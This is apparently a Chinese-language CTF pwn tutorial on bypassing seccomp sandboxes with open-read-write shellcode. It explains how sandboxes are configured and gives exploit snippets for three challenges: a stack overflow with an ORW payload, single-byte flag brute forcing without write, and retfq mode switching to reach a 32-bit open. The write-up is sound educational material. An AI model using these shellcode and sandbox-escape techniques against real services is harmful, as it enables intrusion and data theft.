栈沙箱学习之orw
字数 1509 2025-08-20 18:17:41
栈沙箱学习之ORW绕过技术详解
前言
ORW(Open-Read-Write)绕过技术是CTF Pwn题目中常见的沙箱绕过方法,主要用于当程序禁用execve等危险系统调用时,通过组合open、read、write系统调用来读取并输出flag内容。
沙箱保护机制
沙箱保护通过对程序加入限制,最常见的是禁用某些系统调用(如execve),使得攻击者无法直接获取远程终端权限。在这种情况下,只能通过ROP方式调用open、read、write来读取并打印flag内容。
查看沙箱配置
可以使用seccomp-tools工具查看程序是否开启沙箱以及允许的系统调用:
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools
$ seccomp-tools dump ./pwn
沙箱开启的两种方式
在CTF Pwn题中,沙箱通常通过以下两种方式实现:
1. prctl()函数调用
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
重要参数:
PR_SET_NO_NEW_PRIVS(38): 第二个参数设为1时禁用execve系统调用PR_SET_SECCOMP(22):- 第二个参数为1时,只允许read/write/_exit/sigreturn
- 第二个参数为2时为过滤模式,通过参数3的结构体自定义规则
2. seccomp库函数
__int64 sandbox() {
__int64 v1 = seccomp_init(0LL); // 0表示白名单模式,0x7fff0000U为黑名单模式
// 添加规则
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); // open
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); // read
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); // write
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); // exit
seccomp_load(v1); // 加载过滤器到内核
return seccomp_release(v1);
}
Shellcode写入位置
当溢出空间不足时,题目通常会提供mmap函数来申请额外内存:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
常用参数设置:
- addr: 要申请的地址(建议4字节对齐)
- length: 申请长度(建议0x1000)
- prot: 权限(7表示RWX)
- flags: 0x22
- fd: 0xFFFFFFFF
- offset: NULL
实例分析
案例1:[极客大挑战 2019]Not Bad (完整ORW)
检查保护:
- 64位,保护全关
- 允许open/read/write/exit
漏洞点:
char buf[32];
read(0, buf, 0x38uLL); // 栈溢出漏洞
利用思路:
- 构造ORW shellcode
- 利用jmp_rsp跳转到mmap内存
- 执行shellcode获取flag
EXP关键部分:
mmap = 0x123000
orw = shellcraft.open('./flag')
orw += shellcraft.read(3, mmap, 0x50) # fd=3是第一个打开的文件
orw += shellcraft.write(1, mmap, 0x50)
jmp_rsp = 0x400A01
pl = asm(shellcraft.read(0, mmap, 0x100)) + asm('mov rax,0x123000;call rax')
pl = pl.ljust(0x28, b'\x00')
pl += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
案例2:2021蓝帽杯初赛-slient (缺少write)
沙箱限制:
- 只允许read和open
解决方案:
- 采用单字节爆破方式
- 比较flag字符,命中则卡住循环,否则程序退出
- 通过程序表现判断字符是否正确
EXP关键部分:
def exp(dis, char):
shellcode = '''
/* open("flag") */
mov esp,0x40404140
push 0x67616c66 # "flag"
push esp
pop ebx
xor ecx,ecx
mov eax,5 # open系统调用号
int 0x80
/* read(fp, buf, 0x50) */
mov ecx,eax
push 0x33
push 0x40404089
retfq # 切换回64位
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/* 单字节比较 */
push 0
cmp byte ptr[rsi+{}],{}
jz $-3 # 命中则卡住
ret
'''.format(dis, char)
案例3:RW缺O (缺少open)
解决方案:
- 利用fstat系统调用(64位系统调用号5,对应32位的open)
- 使用retfq指令在32位和64位模式间切换
retfq使用说明:
- 从64位切换到32位:
push 0x23 ; 32位代码段选择子 push addr ; 32位代码地址 retfq - 从32位切换到64位:
push 0x33 ; 64位代码段选择子 push addr ; 64位代码地址 retfq
关键shellcode:
/* 64->32切换 */
push 0x23
push 0x40404040
retfq
/* 32位open */
mov esp,0x40000400
push 0x0067 ; "g"
push 0x616c662f ; "alf/"
mov ebx,esp ; filename
xor ecx,ecx ; flags
mov eax,5 ; open系统调用号
int 0x80
/* 32->64切换 */
push 0x33
push 0x40000037
retfq
高级技巧
1. 纯字符Shellcode生成
当题目限制shellcode必须为可打印字符时,可以使用alpha3工具生成:
python ~/pwntools/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input=/tmp/raw
2. 系统调用号参考
| 名称 | 32位调用号 | 64位调用号 |
|---|---|---|
| read | 3 | 0 |
| write | 4 | 1 |
| open | 5 | 2 |
| exit | 1 | 60 |
| fstat | - | 5 |
总结
ORW绕过技术的核心是根据沙箱限制灵活组合可用的系统调用:
- 完整ORW:直接使用open/read/write
- 缺少write:采用单字节爆破
- 缺少open:利用fstat+retfq模式切换
- 缺少read/write:结合mmap和文件描述符操作
掌握这些技术需要深入理解系统调用约定、CPU模式切换和shellcode构造技巧。